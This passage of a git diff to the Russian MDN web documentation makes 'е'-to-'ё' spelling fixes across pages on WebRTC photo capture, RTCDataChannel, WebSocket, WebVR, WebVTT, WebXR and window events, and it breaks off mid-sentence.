<a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобьём его на части, для упрощения объяснения.</p> <h3 id="Инициализация">Инициализация</h3> -<p>Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные переменные.</p> +<p>Начнём с обёртки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные переменные.</p> <pre>(function() { var width = 320; // Этим создадим ширину фотографии @@ -106,7 +106,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <p>Здесь мы называем метод {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (<code>audio : false</code>). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.</p> -<p>Успешное выполнение промиса передает объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваивается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p> +<p>Успешное выполнение промиса передаёт объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваивается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p> <p>Как только поток связан с элементом <code><video></code> , запускаем его воспроизведение, вызовом метода <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p> @@ -114,7 +114,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h4 id="Обработка_события_начала_воспроизведения">Обработка события начала воспроизведения</h4> -<p>После момента вызова метода <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p> +<p>После момента вызова метода <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнёт воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p> <pre> video.addEventListener('canplay', function(ev){ if (!streaming) { @@ -147,7 +147,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h4 id="Завершение_метода_startup">Завершение метода startup() </h4> -<p>Еще пара строк кода в методе <code>startup()</code>:</p> +<p>Ещё пара строк кода в методе <code>startup()</code>:</p> <pre> clearphoto(); }</pre> @@ -167,7 +167,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos photo.setAttribute('src', data); }</pre> -<p>Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство <code>fillStyle</code> в <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p> +<p>Начнём с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство <code>fillStyle</code> в <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p> <p>Наконец, в этой функции мы конвертируем <code>canvas</code> в изображение PNG и вызываем метод <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).</p> @@ -207,9 +207,9 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <p>Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Style_Editor">редактор стилей</a>; смотрим <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Редактирование с CSS фильтрами</a> о подробностях выполнения.</p> -<h2 id="Использование_определенных_устройств">Использование определенных устройств</h2> +<h2 id="Использование_определённых_устройств">Использование определённых устройств</h2> -<p>При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте {{domxref("MediaTrackConstraints")}} , переданном в {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p> +<p>При необходимости вы можете ограничить набор разрешённых источников видео, определённым устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте {{domxref("MediaTrackConstraints")}} , переданном в {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p> <h2 id="Смотри_так_же">Смотри так же</h2> diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html index cbb64c54bb..1c2e5b2521 100644 --- a/files/ru/web/api/webrtc_api/using_data_channels/index.html +++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html @@ -16,15 +16,15 @@ translation_of: Web/API/WebRTC_API/Using_data_channels <p>Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:</p> <ul> - <li>Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li> + <li>Позволить WebRTC создать транспорт и сообщить об этом удалённому узлу (вызвав у него событие типа {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li> <li>Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.</li> </ul> -<p>Разберем оба случая, начиная с первого, как с наиболее распространенного.</p> +<p>Разберём оба случая, начиная с первого, как с наиболее распространенного.</p> <h3 id="Автоматический_режим_согласования">Автоматический режим согласования</h3> -<p>Зачастую, разработчик может позволить объекту соединения обработать согласование {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.</p> +<p>Зачастую, разработчик может позволить объекту соединения обработать согласование {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удалённого узла, связывая два узла вместе по сети.</p> <p>Вызов метода <code>createDataChannel()</code> немедленно возвращает объект типа <code>RTCDataChannel</code>. Подписываясь на событие {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.</p> @@ -39,7 +39,7 @@ dataChannel.addEventListener("open", (event) => { <p>Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение <code>true</code>. Это сигнализирует объекту соединения не пытаться согласовать соединение автоматически.</p> -<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством <code>negotiated</code>, установленным в значение <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа <code>RTCDataChannel </code>через объект типа <code>RTCPeerConnection</code>.</p> +<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удалённому узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством <code>negotiated</code>, установленным в значение <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа <code>RTCDataChannel </code>через объект типа <code>RTCPeerConnection</code>.</p> <pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel", { negotiated: true @@ -51,7 +51,7 @@ dataChannel.addEventListener("open", (event) => { requestRemoteChannel(dataChannel.id);</pre> -<p>В данном примере канал создается установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала <code>id</code>.</p> +<p>В данном примере канал создаётся установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удалённого канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала <code>id</code>.</p> <h2 id="Буферизация">Буферизация</h2> @@ -63,11 +63,11 @@ requestRemoteChannel(dataChannel.id);</pre> <h2 id="Ограничения_размеров_сообщений">Ограничения размеров сообщений</h2> -<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня). На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p> +<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определённого значения (точное число зависит от сети и используемого транспортного уровня). На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p> -<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все еще существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p> +<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все ещё существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p> -<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p> +<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершёнными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p> <p>Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.</p> @@ -77,9 +77,9 @@ requestRemoteChannel(dataChannel.id);</pre> <p>В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.</p> -<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p> +<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но ещё не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p> -<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p> +<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все ещё находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p> <p>Поддержка Firefox для ndata находится в процессе реализации. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Команда Chrome отслеживает реализацию поддержки ndata в</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696" style="font-size: 1rem; letter-spacing: -0.00278rem;">Chrome Bug 5696</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p> diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html index 2d53a55c5c..4cc3326a7f 100644 --- a/files/ru/web/api/websocket/index.html +++ b/files/ru/web/api/websocket/index.html @@ -69,7 +69,7 @@ WebSocket WebSocket( <tr> <td><code>bufferedAmount</code></td> <td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td> - <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td> + <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но ещё не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td> </tr> <tr> <td><code>extensions</code></td> @@ -178,7 +178,7 @@ WebSocket WebSocket( <dl> <dt><code>code</code> {{ optional_inline() }}</dt> - <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешенные значения.</dd> + <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершён"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешённые значения.</dd> <dt><code>reason</code> {{ optional_inline() }}</dt> <dd>Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (<strong>не</strong> символов). </dd> </dl> @@ -198,7 +198,7 @@ WebSocket WebSocket( <h3 id="send" name="send()">send()</h3> -<p>Передает данные на сервер через WebSocket - соединение.</p> +<p>Передаёт данные на сервер через WebSocket - соединение.</p> <pre class="eval">void send( in DOMString data @@ -224,7 +224,7 @@ void send( <dl> <dt><code>INVALID_STATE_ERR</code></dt> - <dd>Соединение еще не открыто.</dd> + <dd>Соединение ещё не открыто.</dd> <dt><code>SYNTAX_ERR</code></dt> <dd>Строка <code>data</code> содержит непарные суррогаты</dd> </dl> @@ -252,7 +252,7 @@ void send( <h2 id="See_also" name="See_also">Пример</h2> -<pre class="brush: js"><code>// Создает WebSocket - подключение. +<pre class="brush: js"><code>// Создаёт WebSocket - подключение. const socket = new WebSocket('ws://localhost:8080'); // Соединение открыто diff --git a/files/ru/web/api/websockets_api/index.html b/files/ru/web/api/websockets_api/index.html index 7b0156b5a7..83672bc3d4 100644 --- a/files/ru/web/api/websockets_api/index.html +++ b/files/ru/web/api/websockets_api/index.html @@ -10,7 +10,7 @@ tags: translation_of: Web/API/WebSockets_API original_slug: WebSockets --- -<p><strong>Веб-сокеты</strong> это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причем этот процесс будет событийно-управляемым.</p> +<p><strong>Веб-сокеты</strong> это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причём этот процесс будет событийно-управляемым.</p> <div class="cleared row topicpage-table"> <div class="section"> diff --git a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html index d5729bf6a4..7a6e602c2c 100644 --- a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html +++ b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html @@ -58,7 +58,7 @@ WebSocket WebSocket( <h3 id="Примеры">Примеры</h3> -<p>Этот простой пример создает новый WebSocket, подключаемый к серверу <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. В данном примере в конструктор сокета в качестве дополнительного параметра передается пользовательский протокол "protocolOne", хотя эта часть может быть опущена.</p> +<p>Этот простой пример создаёт новый WebSocket, подключаемый к серверу <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. В данном примере в конструктор сокета в качестве дополнительного параметра передаётся пользовательский протокол "protocolOne", хотя эта часть может быть опущена.</p> <pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne"); </pre> diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html index e53532700d..a1dd13cbc9 100644 --- a/files/ru/web/api/webvr_api/index.html +++ b/files/ru/web/api/webvr_api/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/WebVR_API <h2 id="Концепция_и_использование">Концепция и использование</h2> -<p>Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено {{domxref("VRDisplay")}} объектом.</p> +<p>Любые VR-устройства, подключённые к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено {{domxref("VRDisplay")}} объектом.</p> <p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p> @@ -60,7 +60,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("VREyeParameters")}}</dt> <dd>Предоставляет доступ ко все информации, необходимой для корректного отображения сцены для каждого заднего глаза, включая информацию о поле зрения.</dd> <dt>{{domxref("VRFieldOfView")}}</dt> - <dd>Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.</dd> + <dd>Представляет поле зрения, определённое четырьмя различными значениями степени, описывающими представление из центральной точки.</dd> <dt>{{domxref("VRLayerInit")}}</dt> <dd>Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.</dd> <dt>{{domxref("VRStageParameters")}}</dt> @@ -84,7 +84,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt> <dd>Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является <code>true</code>).</dd> <dt>{{domxref("Navigator.getVRDisplays()")}}</dt> - <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов, представляющих любые доступные VR-дисплеи, подключенные к компьютеру.</dd> + <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов, представляющих любые доступные VR-дисплеи, подключённые к компьютеру.</dd> </dl> <h4 id="Window_события">Window события</h4> @@ -93,7 +93,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt> <dd>Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоборот (когда {{event("vrdisplaypresentchange")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplayconnect")}}</dt> - <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd> + <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключён совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt> <dd>Представляет обработчик событий, который будет запускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplayactivate")}}</dt> diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html index 78aed3b7b7..51cdf502b8 100644 --- a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html +++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/WebVR_API/Using_the_WebVR_API <ul> <li>Устройство с поддержкой VR. <ul> - <li>Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li> + <li>Самым дешёвым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li> <li>Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на <a href="https://webvr.info/">webvr.info</a>.</li> </ul> </li> diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html index 11db07532a..1927c7927f 100644 --- a/files/ru/web/api/webvtt_api/index.html +++ b/files/ru/web/api/webvtt_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/WebVTT_API Никогда не пейте жидкий азот. 00:05.000 --> 00:09.000 -- Это пробьет ваш желудок. +- Это пробьёт ваш желудок. - Вы можете умереть. </pre> @@ -73,7 +73,7 @@ translation_of: Web/API/WebVTT_API <h3 id="Внутренняя_структура_файла_WebVTT">Внутренняя структура файла WebVTT</h3> -<p>Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> +<p>Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> <pre class="notranslate">WEBVTT @@ -171,7 +171,7 @@ video::cue(b) { <p>В данном примере фоном видео будет серый градиент, с цветом текста <code>papayawhip</code>. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет <code>peachpuff</code>.</p> -<p>Фрагмент HTML, приведенный ниже, отображает видео.</p> +<p>Фрагмент HTML, приведённый ниже, отображает видео.</p> <pre class="brush: html notranslate"><video controls autoplay src="video.webm"> <track default src="track.vtt"> diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html index 913ea6fcf9..7a1ce319e1 100644 --- a/files/ru/web/api/webxr_device_api/index.html +++ b/files/ru/web/api/webxr_device_api/index.html @@ -95,7 +95,7 @@ translation_of: Web/API/WebXR_Device_API <dl> <dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt> - <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.</dd> + <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонён, если контекст не может быть настроен для работы с WebXR.</dd> </dl> <h2 id="Руководства_и_уроки">Руководства и уроки</h2> diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html index 1273c5de18..757ea14c3b 100644 --- a/files/ru/web/api/window/beforeunload_event/index.html +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/beforeunload_event --- <div>{{APIRef}}</div> -<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.</span></p> +<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все ещё виден, и событие в этот момент может быть отменено.</span></p> <table class="properties"> <tbody> diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html index 860ba52331..c4b4dc2357 100644 --- a/files/ru/web/api/window/close/index.html +++ b/files/ru/web/api/window/close/index.html @@ -33,7 +33,7 @@ function closeOpenedWindow() { <h3 id="Закрытие_текущего_окна">Закрытие текущего окна</h3> -<p>В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p> +<p>В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдёт; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p> <pre class="brush: js">function closeCurrentWindow() { window.close(); diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html index fc1cf46867..c5cbbd98df 100644 --- a/files/ru/web/api/window/closed/index.html +++ b/files/ru/web/api/window/closed/index.html @@ -39,7 +39,7 @@ if (window.opener && !window.opener.closed) { <h3 id="Обновление_ранее_открытого_всплывающего_окна">Обновление ранее открытого всплывающего окна</h3> -<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у 